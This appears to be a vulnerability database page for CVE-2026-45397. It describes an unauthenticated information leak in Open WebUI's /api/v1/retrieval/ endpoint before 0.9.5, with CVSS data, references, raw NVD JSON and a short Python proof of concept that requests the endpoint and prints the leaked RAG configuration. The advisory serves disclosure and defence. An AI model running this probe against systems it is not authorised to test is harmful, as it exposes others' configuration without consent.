CVE-2026-45397

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, GET /api/v1/retrieval/ returns live RAG pipeline configuration to any unauthenticated HTTP client. No Authorization header, cookie, or API key is required. Every adjacent endpoint on the same router (/embedding, /config) is correctly guarded by get_admin_user making this a targeted omission. This vulnerability is fixed in 0.9.5.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
target = "http://127.0.0.1:8080"

# Vulnerable endpoint
url = f"{target}/api/v1/retrieval/"

try:
    # Send GET request without authentication
    response = requests.get(url, timeout=10)

    if response.status_code == 200:
        print("[+] Vulnerability confirmed! RAG config leaked:")
        print(response.text)
    else:
        print(f"[-] Unexpected status code: {response.status_code}")

except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45397
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45397
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45397/
[4] VulDB https://vuldb.com/cve/CVE-2026-45397
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-65pg-qhhw-mxwg

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45397", "sourceIdentifier": "[email protected]", "published": "2026-05-15T21:16:37.730", "lastModified": "2026-05-15T21:16:37.730", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, GET /api/v1/retrieval/ returns live RAG pipeline configuration to any unauthenticated HTTP client. No Authorization header, cookie, or API key is required. Every adjacent endpoint on the same router (/embedding, /config) is correctly guarded by get_admin_user making this a targeted omission. This vulnerability is fixed in 0.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-65pg-qhhw-mxwg", "source": "[email protected]"}]}}